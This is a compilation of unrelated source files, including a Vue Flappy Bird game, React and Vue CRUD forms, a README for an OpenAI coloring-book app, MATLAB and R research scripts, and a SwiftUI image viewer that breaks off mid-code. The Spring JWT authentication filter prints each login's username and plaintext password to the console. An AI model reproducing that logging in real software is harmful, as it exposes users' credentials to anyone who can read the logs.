<div class="bird-pipe-bottom" :style="{'bottom': item.pBottom + 'px'}">
<img src="img/pipe_b.png" width="100%" mode="widthFix" />
</div>
</div>
</div>
</div>
<!-- 地板 -->
<div class="bird-land">
<div class="land-1"></div>
<div class="land-2"></div>
<div class="land-box land-move"></div>
<div class="land-3"></div>
<div class="land-4"></div>
</div>
</div>
</div>
<script>
const vm = new Vue({
el: '#app',
data() {
return {
isStart: false, // 游戏是否开始
isEnd: false, // 游戏是否结束
number: 0, // 分数
map:{ width: 438, height: 600 },// 地图
bird:{ // 小鸟
width: 34,
height: 24,
left: 80,
top: 300,
speedStart: 1, // 初始速度
speedPlus: 0.03, // 加速度
speedMax: 4, // 上限速度
flyMaxHeight: 50, // 每点一次飞行的最大高度
flyStageHeight: 5, // 飞行的阶梯增加高度
flyRelaHeight: 0, // 当前飞行的相对高度,也就是飞行的那个过程,高度是多少,因为有时没到达顶部,玩家又点一次
flyDirect: null, // up上升,down下落
},
flyTimer: null,
pipe:{ // 管道
width: 45,
height: 364,
},
pipeVerticel: 100, // 上下管道之间的垂直距离
pipeDistance: 200, // 左右管道之间的水平距离
pipeList: [ // 存放管道数组
{ pRight: -150, pTop: -200, pBottom: -200 }
],
}
},
mounted() {
document.addEventListener('keydown', (e) => {
if(e.keyCode == 32) {
this.start()
}
})
},
methods: {
// 游戏开始
start(){
if(this.isEnd){
console.log('游戏已结束');
return;
}
if(this.flyTimer){
clearInterval(this.flyTimer);
this.flyTimer = null;
}
this.isStart = true;
this.bird.flyDirect = 'up';
this.flyTimer = setInterval(()=>{
this.birdFly();
this.pipeMove();
}, 10)
},
// 小鸟运动
birdFly(){
// 上升
if(this.bird.flyDirect == 'up'){
if(this.bird.flyRelaHeight <= this.bird.flyMaxHeight){
this.bird.top -= this.bird.flyStageHeight;
this.bird.flyRelaHeight += this.bird.flyStageHeight;
}else{
this.bird.flyDirect = 'down';
this.bird.flyRelaHeight = 0;
this.bird.speedStart = 1;
}
}
// 到达顶部
if(this.bird.top <= 0){
this.bird.top = 0;
this.die();
}
// 下降
if(this.bird.flyDirect == 'down'){
this.bird.top = this.bird.top + this.bird.speedStart * this.bird.speedStart;
if(this.bird.speedStart < this.bird.speedMax){
this.bird.speedStart += this.bird.speedPlus;
}
}
// 到达底边
if(this.bird.top >= this.map.height - this.bird.height){
this.bird.top = this.map.height - this.bird.height;
this.die();
}
},
// 管道移动 添加删除管道
pipeMove(){
// 如果数组中的最后一个到达右边的时候,增加一个
if(this.pipeList[this.pipeList.length - 1].pRight >= 0){
// 因为固定了上下管道距离,所以我们只要随机上下其中一个管道的距离值,再用整体高度-上下管道的距离-随机距离 = 另外一个管道的距离
let pipeRandom = this.random(50, 300);
let obj = {
pRight: -(this.pipeList[this.pipeList.length - 1].pRight*1 + this.pipeDistance*1),
pTop: -pipeRandom,
pBottom: -(this.map.height*1 - pipeRandom*1 - this.pipeVerticel*1),
};
this.pipeList.push(obj);
}
// 如果第一个到达左边的时候,删除第一个
if(this.pipeList[0].pRight >= this.map.width){
this.pipeList.shift();
}
// 遍历管道移动
for(let i = 0; i < this.pipeList.length; i++){
let birdMouthRight = this.map.width - this.bird.width - this.bird.left; // 鸟嘴到右边的距离
// 判断是否碰撞管道 (注意:已经飞过的管道需要去除)
// 当没有飞过当前的管道
if(this.pipeList[i].pRight <= this.map.width - this.bird.left){
// 有咩有撞到上管道
if(
(this.pipeList[i].pRight + this.pipe.width) >= birdMouthRight &&
(this.pipe.height + this.pipeList[i].pTop) >= this.bird.top
){
this.die();
return;
}
// 有咩有撞到下管道
if(
(this.pipeList[i].pRight + this.pipe.width) >= birdMouthRight &&
(this.pipe.height + this.pipeList[i].pBottom) >= (this.map.height - this.bird.height - this.bird.top)
){
this.die();
return;
}
}
// 判断分数,也就是刚好飞过某一个管道
console.log(this.pipeList[i].pRight);
const pRight = Math.floor(this.pipeList[i].pRight);
if(pRight === 358){
this.number++;
}
this.pipeList[i].pRight += 1.2;
}
},
// 死亡
die(){
clearInterval(this.flyTimer)
this.isEnd = true;
// alert("你死了");
console.log('你死了');
// location.reload()
},
// 随机数
random(min, max) {
if (min >= 0 && max > 0 && max >= min) {
let gab = max - min + 1;
return Math.floor(Math.random() * gab + min);
} else {
return 0;
}
}
}
});
</script>
</body>
</html>
|
import { CommandHandler, ICommandHandler } from '@nestjs/cqrs';
import { Prisma, Employee } from '@prisma/client';
import { EmployeeRepository } from '../employee.repository';
/**
* Remove employee command
*/
export class RemoveEmployeeCommand {
/**
* Constructor
* @param {string} id ID of removed employee
*/
constructor(public readonly id: string) {}
}
/**
* Remove employee command handler
*/
@CommandHandler(RemoveEmployeeCommand)
export class RemoveEmployeeHandler
implements ICommandHandler<RemoveEmployeeCommand>
{
/**
* Constructor
* @param {EmployeeRepository} repository Repository for employees
*/
constructor(private repository: EmployeeRepository) {}
/**
* Command executor
* @param {RemoveEmployeeCommand} dto Execution command
* @returns {Employee | null} Removed employee
*/
async execute({ id }: RemoveEmployeeCommand): Promise<Employee | null> {
return await this.repository.remove(id);
}
}
|
package com.kts.unittestexample;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mockito.*;
import org.mockito.runners.MockitoJUnitRunner;
import static org.junit.Assert.*;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
/**
* Example local unit test, which will execute on the development machine (host).
*
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
*/
@RunWith(MockitoJUnitRunner.class)
public class ExampleUnitTest {
private Phrases phrasesStub = mock(Phrases.class);
public ExampleUnitTest() {
when(phrasesStub.getEvening()).thenReturn("Good evening");
when(phrasesStub.getAfternoon()).thenReturn("Good afternoon");
when(phrasesStub.getHello()).thenReturn("Good day");
when(phrasesStub.getMorning()).thenReturn("Good morning");
when(phrasesStub.getNight()).thenReturn("Good night");
}
@Test
public void BuilderGreetingPhrase_get_test() {
BuilderGreetingPhrase builderGreetingPhrase = new BuilderGreetingPhrase(phrasesStub);
assertEquals("Good day", builderGreetingPhrase.get());
}
@Test
public void BuilderGreetingPhrase_getMorning_test() {
BuilderGreetingPhrase builderGreetingPhrase = new BuilderGreetingPhrase(phrasesStub);
assertEquals("Good morning", builderGreetingPhrase.get(3));
assertEquals("Good morning", builderGreetingPhrase.get(11));
}
@Test
public void BuilderGreetingPhrase_getEvening_test() {
BuilderGreetingPhrase builderGreetingPhrase = new BuilderGreetingPhrase(phrasesStub);
assertEquals("Good evening", builderGreetingPhrase.get(17));
assertEquals("Good evening", builderGreetingPhrase.get(23));
}
@Test
public void BuilderGreetingPhrase_getAfternoon_test() {
BuilderGreetingPhrase builderGreetingPhrase = new BuilderGreetingPhrase(phrasesStub);
assertEquals("Good afternoon", builderGreetingPhrase.get(12));
assertEquals("Good afternoon", builderGreetingPhrase.get(16));
}
@Test
public void BuilderGreetingPhrase_getNight_test() {
BuilderGreetingPhrase builderGreetingPhrase = new BuilderGreetingPhrase(phrasesStub);
assertEquals("Good night", builderGreetingPhrase.get(24));
assertEquals("Good night", builderGreetingPhrase.get(2));
assertEquals("Good night", builderGreetingPhrase.get(0));
}
}
|
import React, { useState, useEffect } from 'react';
import axios from 'axios';
import { Link } from 'react-router-dom';
import { Modal, Button } from 'react-bootstrap'; // Import Bootstrap modal components
export default function AllStudents() {
const [users, setUsers] = useState([]);
const [showDeleteModal, setShowDeleteModal] = useState(false);
const [selectedUserId, setSelectedUserId] = useState(null);
const [deleteSuccess, setDeleteSuccess] = useState(false);
const [deleteError, setDeleteError] = useState(false);
const [loading, setLoading] = useState(true);
const handleCloseDeleteModal = () => setShowDeleteModal(false);
const handleShowDeleteModal = (userId) => {
setSelectedUserId(userId);
setShowDeleteModal(true);
};
const fetchUsers = async () => {
try {
setLoading(true); // Set loading to true when starting to fetch data
const response = await axios.get('http://localhost:5000/student/');
setUsers(response.data);
setLoading(false); // Set loading to false when data is received
} catch (error) {
console.error('Error fetching users:', error);
setLoading(false); // Set loading to false in case of an error
}
};
const handleDelete = async () => {
try {
await axios.delete(`http://localhost:5000/student/${selectedUserId}`);
setDeleteSuccess(true);
handleCloseDeleteModal();
// Optional: Update the user list after deletion
fetchUsers();
} catch (error) {
console.log('Error while deleting user:', error);
setDeleteError(true);
handleCloseDeleteModal();
}
};
useEffect(() => {
// Fetch all users when the component mounts
fetchUsers();
}, []); // The empty dependency array ensures that the effect runs only once on mount
return (
<div className="container my-2">
<h2 className="text-center">All Students</h2>
{loading ? (
<div className="text-center mt-3">
<p>Loading...</p>
</div>
) : (
<div>
{/* Delete Success Alert */}
{deleteSuccess && (
<div className="alert alert-success mt-3" role="alert">
User deleted successfully!
</div>
)}
{/* Delete Error Alert */}
{deleteError && (
<div className="alert alert-danger mt-3" role="alert">
Error deleting user. Please try again.
</div>
)}
<div className="row mt-4">
{users?.map((user) => (
<div className="col-md-4 mt-4" key={user._id}>
<div className="card" style={{ backgroundColor: '#98c5db'}}>
<div className="card-body">
<h5 className="card-title">Name: {user.name}</h5>
<h6 className="card-subtitle text-body-secondary">Email: {user.email}</h6>
<p className="muted-text">Age: {user.age}</p>
<button
type="button"
className="btn btn-danger"
onClick={() => handleShowDeleteModal(user._id)}
>
Delete
</button>
<Link to={`/update_student/${user._id}`}>
<button type="button" className="btn btn-success mx-2">
Update
</button>
</Link>
</div>
</div>
</div>
))}
</div>
</div>
)}
{/* Delete Confirmation Modal */}
<Modal show={showDeleteModal} onHide={handleCloseDeleteModal}>
<Modal.Header closeButton>
<Modal.Title>Confirm Deletion</Modal.Title>
</Modal.Header>
<Modal.Body>Are you sure you want to delete this user?</Modal.Body>
<Modal.Footer>
<Button variant="secondary" onClick={handleCloseDeleteModal}>
Cancel
</Button>
<Button variant="danger" onClick={handleDelete}>
Delete
</Button>
</Modal.Footer>
</Modal>
</div>
);
}
|
<template>
<div class="container">
<h2>게시글 작성</h2>
<form @submit.prevent="onSubmit" class="mb-2">
<div class="mb-3 input-element">
<label for="title" class="form-label">제목</label>
<input type="text" v-model="article.title" class="form-control" id="title" placeholder="게시글 제목을 입력해주세요">
</div>
<div class="mb-3 input-element">
<label for="movie1-title" class="form-label">영화1 제목</label>
<input type="text" v-model="article.movie1_title" class="form-control" id="movie1-title" placeholder="">
</div>
<div class="mb-3 input-element">
<label for="movie1-image" class="form-label">영화1 이미지</label>
<input class="form-control" type="file" id="movie1-image" accept="image/*">
</div>
<div class="mb-3 input-element">
<label for="movie2-title" class="form-label">영화2 제목</label>
<input type="text" v-model="article.movie2_title" class="form-control" id="movie2-title" placeholder="">
</div>
<div class="mb-3 input-element">
<label for="movie2-image" class="form-label">영화2 이미지</label>
<input class="form-control" type="file" id="movie2-image" accept="image/*">
</div>
<button type="submit" class="btn btn-success btn-sm me-3">제출</button>
<button type="button" @click="back" class="btn btn-danger btn-sm">뒤로 가기</button>
</form>
<br>
</div>
</template>
<script>
import { mapActions } from 'vuex'
export default {
name: 'ArticleForm',
data() {
return {
article: {
title: '',
movie1_title: '',
movie2_title: '',
}
}
},
methods: {
...mapActions(['createArticle']),
onSubmit(event) {
const articleData = new FormData()
articleData.append('title', this.article.title)
articleData.append('movie1_title', this.article.movie1_title)
articleData.append('movie1_image', event.target[2].files[0])
articleData.append('movie2_title', this.article.movie2_title)
articleData.append('movie2_image', event.target[4].files[0])
this.createArticle(articleData)
},
back() {
this.$router.push({name: 'versusArticleList'})
},
},
}
</script>
<style>
.input-element {
display: flex;
flex-direction: column;
}
label {
text-align: start;
}
</style>
|
import { configureStore } from "@reduxjs/toolkit";
import loadingReducer from "./reducers/loadingReducer";
import clientReducer from "./reducers/clientReducer";
import listReducer from "./reducers/listReducer";
import modalReducer from "./reducers/modalReducer";
import refetchReducer from "./reducers/refetchReducer";
import searchReducer from "./reducers/searchReducer";
export const store = configureStore({
reducer: {
list: listReducer,
client: clientReducer,
modal: modalReducer,
loading: loadingReducer,
refetch: refetchReducer,
search: searchReducer,
},
middleware: (getDefaultMiddleware) =>
getDefaultMiddleware({
serializableCheck: false,
}),
});
export type RootState = ReturnType<typeof store.getState>;
export type AppDispatch = typeof store.dispatch;
|
# 🖍️ ColorWiz: An AI Powered Coloring Book Generator
This is a group capstone project that was done for the completion of a bachelors degree in Information Technology.
# 🌟 Features
* **User-friendly GUI:** easy-to-use and simple graphical user interface built with Tkinter, enhancing the user experience.
* **Image Generation:** Leverages the power of the OpenAI DALL·E model to generate diverse and creative images based on user-defined style prompts.
* **Fun Fact Generation:** Leverages the power of the OpenAI GPT3 model to generate fun facts based on user-defined subject matter prompts.
* **PDF Creation:** Automatically converts the generated images into individual PDF files, enabling users to organize and share them efficiently.
* **PDF Merging:** Provides functionality to merge individual PDFs into a cohesive document, simplifying the management of multiple images.
# 🚀 Getting Started
1. Download the code.
2. Install below dependencies.
3. Set Up an OpenAI API Key: Obtain an API key from OpenAI and replace the placeholder `?` in the code with your actual API key.
4. Run the application and interact with the GUI.
## 🔧 Requirements
* **Python:** ColorWiz requires [Python 3.7 or later](https://www.python.org/downloads/). Ensure that you have the necessary Python packages and dependencies installed.
* **Tkinter:** Install custom Tkinter with `pip install customtkinter`.
* **Requests:** Install with `pip install requests`.
* **Pillow (PIL):** Install with `pip install pillow`.
* **OpenAI API Key:** Obtain and install the OpenAI API key with `pip install openai`.
* **PyPDF2:** Install with `pip install PyPDF2`.
* **ReportLab:** Install with `pip install reportlab`.
* **Packaging:** Install with `pip install packaging`.
* **Nuitka:** Install with `python -m pip install nuitka`.
* Once the Code is ready, nuitka can be used to create an executable. You will have to navigate where the python script is stored through a terminal or command line and type python -m nuitka --mingw64 filename.py
## ⚙️ API Configuration
* **Create OpenAI Account:** If you don't have an OpenAI account, start by signing up on the OpenAI website and log in.
* **API Key Creation:** In the Developer Dashboard, navigate to the "API Keys" section. Here, you'll find options for creating and managing your API keys.
* **Create a New API Key:** Click on the "Create API Key" or a similar button to initiate the key creation process.
* **Select DALL-E and GPT3 Access:** DALL-E and GPT3 use the same API. Ensure that you select them as the API service you want to access with this key.
* **Create the Key:** After configuring the key settings and accepting the terms, click the "Create" or "Generate" button to create your API key.
* **API Key Retrieval:** Your new API key will be generated, and you'll be provided with the key string. Make sure to keep this key secure.
## 📝 Description Crafting
Crafting effective and imaginative prompts is a key aspect of generating captivating coloring book pages with ColorWiz. More detailed and specific prompts will result in better images generated.
* Example Prompt for "Cat":
`/imagine prompt: coloring pages for adults, a cat, in the style of Anime, Straight Lines, Medium Detail, Celtic knotwork background, Black and white, No Shading, --ar 9:16`
# ▶️ Demo
1. The user is able to enter subject matter for the fun fact and image, i.e., a penguin in this demo, as well as the style wanted, number of images, and image size.
<img src="https://github.com/amalgohar/colorwhiz/blob/main/demo/GUI.jpg" width="400" alt="GUI Sample">
2. After clicking the *Generate Images and Seperate PDFS* button, the image as well as a PDF containing that image is generated. Here we see all the seperate PDFs that have been generated, as well as the penguin one we just generated.
<img src="https://github.com/amalgohar/colorwhiz/blob/main/demo/all-pdfs.jpg" width="700" alt="All PDFS in Folder">
3. Here we see a closer look at the penguin PDF that was generated.
<img src="https://github.com/amalgohar/colorwhiz/blob/main/demo/penguin.jpg" width="400" alt="Penguin PDF">
4. After the *Create the Book from the Single PDFs* button is clicked, all the individual PDFs are merged, and the final coloring book is created. Here is a final look at what the coloring book looks like after this button has been clicked.
<img src="https://github.com/amalgohar/colorwhiz/blob/main/demo/coloringbook-output.gif" width="400" alt="Coloring Book GIF">
|
package com.gardenbk.mygarden.sec.filters;
import com.auth0.jwt.JWT;
import com.auth0.jwt.algorithms.Algorithm;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.gardenbk.mygarden.sec.web.JwtUtil;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.stream.Collectors;
public class JwtAuthenticationFilter extends UsernamePasswordAuthenticationFilter {
private AuthenticationManager authenticationManager;
public JwtAuthenticationFilter(AuthenticationManager authenticationManager) {
this.authenticationManager = authenticationManager;
}
//quand le user va tenter de se connecter
@Override
public Authentication attemptAuthentication(HttpServletRequest request, HttpServletResponse response) throws AuthenticationException {
System.out.println("--------------AttemptAuthentication------------");
String username=request.getParameter("username");
String password=request.getParameter("password");
System.out.println(username);
System.out.println(password);
UsernamePasswordAuthenticationToken authenticationToken=
new UsernamePasswordAuthenticationToken(username,password);
return authenticationManager.authenticate(authenticationToken);
}
//quand l'authentification a reussi
@Override
protected void successfulAuthentication(HttpServletRequest request, HttpServletResponse response, FilterChain chain, Authentication authResult) throws IOException, ServletException {
System.out.println("--------successfullAuthentication--------");
User user=(User) authResult.getPrincipal();
//pour calculer la signature d'un jwto n utilise hmac ou rsa
Algorithm algo1=Algorithm.HMAC256(JwtUtil.SECRET);
String jwtAccessToken= JWT.create()
.withSubject(user.getUsername())
.withExpiresAt(new Date(System.currentTimeMillis()+JwtUtil.EXPIRE_ACCESS_TOKEN))
.withIssuer(request.getRequestURL().toString())
.withClaim("roles",user.getAuthorities().stream().map(ga->ga.getAuthority()).collect(Collectors.toList()))
.sign(algo1) ;
String jwtRefreshToken= JWT.create()
.withSubject(user.getUsername())
.withExpiresAt(new Date(System.currentTimeMillis()+JwtUtil.EXPIRE_REFRESH_TOKEN))
.withIssuer(request.getRequestURL().toString())
.sign(algo1) ;
Map<String,String> idToken=new HashMap<>();
idToken.put("access-token",jwtAccessToken);
idToken.put("refresh-token",jwtRefreshToken);
response.setContentType("application/json");
//utiliser par spring pour serialiser un objet en format json
new ObjectMapper().writeValue(response.getOutputStream(),idToken);
}
}
|
package com.tigeriot.iotapp.ui.page.nfc
import android.app.Application
import androidx.compose.animation.core.FastOutSlowInEasing
import androidx.compose.animation.core.RepeatMode
import androidx.compose.animation.core.animateFloat
import androidx.compose.animation.core.infiniteRepeatable
import androidx.compose.animation.core.rememberInfiniteTransition
import androidx.compose.animation.core.tween
import androidx.compose.foundation.layout.Arrangement
import androidx.compose.foundation.layout.Box
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.Row
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.layout.fillMaxWidth
import androidx.compose.foundation.layout.offset
import androidx.compose.foundation.layout.padding
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.filled.Info
import androidx.compose.material.icons.outlined.ArrowBackIosNew
import androidx.compose.material3.ExperimentalMaterial3Api
import androidx.compose.material3.Icon
import androidx.compose.material3.IconButton
import androidx.compose.material3.IconButtonDefaults
import androidx.compose.material3.PlainTooltipBox
import androidx.compose.material3.PlainTooltipState
import androidx.compose.material3.Scaffold
import androidx.compose.material3.Surface
import androidx.compose.material3.Text
import androidx.compose.material3.TextButton
import androidx.compose.material3.windowsizeclass.WindowWidthSizeClass
import androidx.compose.runtime.Composable
import androidx.compose.runtime.LaunchedEffect
import androidx.compose.runtime.getValue
import androidx.compose.runtime.mutableFloatStateOf
import androidx.compose.runtime.remember
import androidx.compose.runtime.rememberCoroutineScope
import androidx.compose.runtime.setValue
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp
import androidx.navigation.NavHostController
import com.airbnb.lottie.compose.LottieAnimation
import com.airbnb.lottie.compose.LottieCompositionSpec
import com.airbnb.lottie.compose.LottieConstants
import com.airbnb.lottie.compose.animateLottieCompositionAsState
import com.airbnb.lottie.compose.rememberLottieComposition
import com.tigeriot.iotapp.R
import com.tigeriot.iotapp.ui.main.nav.TigerIotActions
import com.tigeriot.iotapp.ui.theme.isDark
import com.tigeriot.iotapp.ui.view.nfc.AutoIdentifyProduct
import com.tigeriot.iotapp.ui.view.nfc.CheckNfc
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
@Composable
fun NfcPage(
actions: TigerIotActions,
appContainer: Application,
widthSizeClass: WindowWidthSizeClass,
navHostController: NavHostController
) {
// 检查NFC
CheckNfc()
// 自动识别
AutoIdentifyProduct(navHostController)
// UI
NfcPageMain(actions, appContainer, widthSizeClass)
}
@OptIn(ExperimentalMaterial3Api::class)
@Composable
private fun NfcPageMain(
actions: TigerIotActions,
appContainer: Application,
widthSizeClass: WindowWidthSizeClass
) {
// val tooltipState = remember { PlainTooltipState() }
val scope = rememberCoroutineScope()
Scaffold(
) { paddingValues ->
Surface() {
Box(modifier = Modifier.fillMaxSize()) {
Row(
modifier = Modifier
.padding(paddingValues)
.fillMaxWidth(),
horizontalArrangement = Arrangement.SpaceBetween,
verticalAlignment = Alignment.CenterVertically
) {
IconButton(
onClick = {
actions.upPress()
}, colors = IconButtonDefaults.iconButtonColors(
)
) {
Icon(imageVector = Icons.Outlined.ArrowBackIosNew, contentDescription = "")
}
PlainTooltipBox(
// tooltipState = tooltipState,
tooltip = { Text(text = "将手机靠近产品,会自动识别出产品 !!!") }, // 标记中英文翻译
) {
IconButton(
onClick = {
// scope.launch { tooltipState.show() }
}
) {
Icon(imageVector = Icons.Filled.Info, contentDescription = "")
}
}
}
Column(
modifier = Modifier
.padding(paddingValues)
.fillMaxSize(),
verticalArrangement = Arrangement.Center,
horizontalAlignment = Alignment.CenterHorizontally
) {
NfcAuto(actions)
}
}
}
}
}
@Composable
private fun NfcAuto(actions: TigerIotActions) {
val composition by rememberLottieComposition(
LottieCompositionSpec.RawRes(if (isDark()) R.raw.nfc_auto_dark else R.raw.nfc_auto)
)
val progress by animateLottieCompositionAsState(
composition = composition,
iterations = LottieConstants.IterateForever
)
LottieAnimation(
composition = composition,
progress = { progress }
)
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.Center,
verticalAlignment = Alignment.CenterVertically
) {
JumpingText(
text = "自动识别产品中...",
modifier = Modifier
.padding(16.dp),
jumpHeight = 16,
jumpDurationMillis = 1000,
)
}
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.Center
) {
TextButton(onClick = {
actions.toManualNfc()
}) {
Text(text = "手动选择产品")
}
}
}
@Composable
fun JumpingText(
text: String,
modifier: Modifier = Modifier,
jumpHeight: Int = 16,
jumpDurationMillis: Int = 1000
) {
var offsetY by remember { mutableFloatStateOf(0f) }
val infiniteTransition = rememberInfiniteTransition(label = "")
val offsetYAnim by infiniteTransition.animateFloat(
initialValue = 0f,
targetValue = jumpHeight.toFloat(),
animationSpec = infiniteRepeatable(
animation = tween(
durationMillis = jumpDurationMillis,
easing = FastOutSlowInEasing
),
repeatMode = RepeatMode.Reverse
), label = "jump text"
)
LaunchedEffect(offsetYAnim) {
launch {
while (true) {
offsetY = offsetYAnim
delay(jumpDurationMillis.toLong())
offsetY = 0f
delay(jumpDurationMillis.toLong())
}
}
}
Box(
modifier = modifier
.offset(y = offsetY.dp)
) {
Text(
text = text,
fontSize = 16.sp
)
}
}
|
function [x,y,it] = PowerT2(A,x0,a,b,tol)
% POWERT2 power method for 3rd order tensors
% [X,Y,IT] = POWERT2(A,X0,a,b,tol)
%
% Computes the node and layer centrality vectors obtained when the power
% method is applied to a three order tensor as described in
% "Node and layer eigenvector centralities for multiplex networks"
% by F. Arrigo, A. Gautier, and F. Tudisco.
%
% Stopping criterion: relative difference (Euclidean norm) between two
% subsequent iterations.
%
% THIS FUNCTION REQUIRES THE TOOLBOX TPROD by Jason Farquhar AVAILABLE AT:
%
% https://uk.mathworks.com/matlabcentral/fileexchange/16275-tprod-arbitary-...
% tensor-products-between-n-d-arrays#functions_tab
%
% Input:
% A - 3rd order tensor describing the multilayer
% x0 - (normalized) starting vector
% a - parameter alpha
% b - parameter beta
% tol - tolerance used in the stopping criterion. (Default: tol = 1e-05)
%
% Output:
% x - vector of node centralities
% y - vector of layer centralities
% it - number of iterations required to achieve the desired accuracy
%
% Last edited: 4th July 2017 by Francesca Arrigo
% Code available at: http://arrigofrancesca.wixsite.com/farrigo
%
% Reference: "Node and layer eigenvector centralities for multiplex
% networks" F. Arrigo, A. Gautier, and F. Tudisco.
%
if nargin == 4
tol = 1e-05;
end
x = x0/norm(x0,1);
y = etprod('jt',A,'ijt',x,'i');
y = etprod('t',y,'jt',x,'j');
y = y/norm(y,1);
rex = 1; rey = 1;
it = 0;
bool = 0;
while rex > tol || rey > tol
xold = x;
yold = y;
xx = etprod('it',A,'ijt',x,'j');
xx = etprod('i',xx,'it',y,'t');
xx = xx.^(1/b);
x = abs(xx)/norm(abs(xx),1);
yy = etprod('jt',A,'ijt',x,'i');
yy = etprod('t',yy,'jt',x,'j');
yy = yy.^(1/a);
y = abs(yy)/norm(abs(yy),1);
rex = norm(xold - x)/norm(x);
rey = norm(yold - y)/norm(y);
if rex <= tol && bool == 0
bool = 1;
fprintf('\n * Node centrality vector converges first (%d iterations) \n', it+1)
end
if rey <= tol && bool == 0
bool = 1;
fprintf('\n * Layer centrality vector converges first (%d iterations) \n', it + 1)
end
it = it + 1;
end
|
# This script was run with grf version 1.2.0.
rm(list = ls())
library(grf)
data = read.csv('angev80_recode_run1_line525.csv.xz')
FEATURES=data.frame(data$twoa.agem,
data$twoa.agefstm,
data$twoa.educm,
as.numeric(data$twoa.blackm),
as.numeric(data$twoa.hispm),
as.numeric(data$twoa.othracem),
twoa.incomed=round(data$twoa.incomed))
names(FEATURES)=1:ncol(FEATURES)
#labor income: twoa.incomem, worked for pay: twoa.workedm
DF.all=data.frame(
X=FEATURES,
Y=1 - as.numeric(data$twoa.workedm), # The outcome is whether the mother did not work
W=as.numeric(data$twoa.kidcount > 2),
I=as.numeric(data$twoa.samesex))
# remove ~15% of data with missing father's income
# roughly 4% of fathers have zero income after removing missing
#
# only consider married women
is.ok = !is.na(data$twoa.incomed) & (data$twoa.marital==0)
DF=DF.all[is.ok,]
agefstm.vals= c(18, 20, 22, 24)
incomed.vals = quantile(data$twoa.incomed, na.rm=TRUE, seq(0.025, 0.975, by = 0.05))
dummy = expand.grid(AGEFSTM=agefstm.vals, INCOMED=incomed.vals)
X.test = data.frame(
median(data$twoa.agem, na.rm=TRUE),
dummy[,1],
12,
0, 0, 1,
dummy[,2])
names(X.test)=1:ncol(X.test)
DF$Y.hat = predict(lm(Y ~ ., data = DF[,1:8]))
W.lr = glm(W ~ ., data = DF[,c(1:7, 9)], family = binomial())
DF$W.hat = predict(W.lr, type="response")
print(Sys.time())
forest.iv = instrumental_forest(
DF[,1:ncol(FEATURES)], DF$Y, DF$W, DF$I,
Y.hat = DF$Y.hat, W.hat = DF$W.hat, Z.hat = 0.5,
min.node.size = 600,
num.trees = 100000,
ci.group.size = 125,
sample.fraction = 0.2)
preds.iv = predict(forest.iv, X.test, estimate.variance = TRUE)
tau.hat = preds.iv$predictions
var.hat = preds.iv$variance.estimates
output = data.frame(dummy, TAU=tau.hat, VAR=var.hat)
write.table(output, file="familysize.out")
print(Sys.time())
|
import { Component, OnInit } from '@angular/core';
import { Storage } from '@ionic/storage';
interface MenuItem {
label: string;
id: string;
icon: string;
disabled: boolean;
checked?: Promise<any>;
}
@Component({
selector: 'app-config',
templateUrl: './config.page.html',
styleUrls: ['./config.page.scss'],
})
export class ConfigPage implements OnInit {
public menuItemToggle: MenuItem[] = [
{
label: 'Modo oscuro',
id: 'darkmode',
icon: 'moon',
disabled: true,
checked: Promise.resolve(true),
},
{
label: 'Huella',
id: 'huella',
icon: 'finger-print-outline',
disabled: false,
checked: this.storage.get('huella'),
},
];
public periodoNotif = this.storage.get('notif');
constructor(private storage: Storage) {}
ngOnInit() {
this.periodoNotif.then(data => {
if (data === null) {
this.periodoNotif = Promise.resolve('na');
}
});
}
public handleChange(e) {
if(e.target.id === 'huella') {
this.storage.set('huella', e.detail.checked);
} else if(e.target.id === 'notif') {
this.storage.set('notif', e.detail.value);
}
}
}
|
import SwiftUI
// MARK: - View
public struct ImageViewer: View {
let image: Image
let config: Config
let onCloseTap: () -> Void
public init(image: Image, onCloseTap: @escaping () -> Void, config: Config = .default) {
self.image = image
self.onCloseTap = onCloseTap
self.config = config
}
@State private var baseScale: Double = 1.0
@State private var scaleChange: Double = 1.0
@State private var baseOffset: CGPoint = .zero
@State private var nextOffset: CGPoint = .zero
@State private var imageAspectRatio: Double = 1.0
public var body: some View {
VStack {
GeometryReader { proxy in
VStack {
Spacer()
image
.resizable()
.aspectRatio(contentMode: .fit)
.frame(width: proxy.size.width)
.scaleEffect(baseScale * scaleChange)
.offset(x: baseOffset.x + nextOffset.x, y: baseOffset.y + nextOffset.y)
.simultaneousGesture(
MagnificationGesture()
.onChanged { scale in
scaleChange = scale.magnitude
nextOffset = CGPoint(
x: (baseOffset.x * (scale.magnitude - 1)),
y: (baseOffset.y * (scale.magnitude - 1))
)
}
.onEnded { _ in
baseScale *= scaleChange
baseOffset.x += nextOffset.x
baseOffset.y += nextOffset.y
nextOffset = .zero
scaleChange = 1.0
if self.baseScale < 1.0 {
withAnimation {
resetScale()
resetOffset()
}
} else {
withAnimation {
snapEdgesToContainerMargins(containerSize: proxy.size, imageAspectRatio: imageAspectRatio)
}
}
}
)
.simultaneousGesture(
DragGesture()
.onChanged { value in
if baseScale > 1.0 {
nextOffset = CGPoint(
x: (nextOffset.x + value.translation.width) / 2.0,
y: (nextOffset.y + value.translation.height) / 2.0
)
} else {
nextOffset = CGPoint(
x: (nextOffset.x + value.translation.width) / 2.0,
y: nextOffset.y
)
}
}
.onEnded { _ in
baseOffset = CGPoint(
x: baseOffset.x + nextOffset.x,
y: baseOffset.y + nextOffset.y
)
nextOffset = .zero
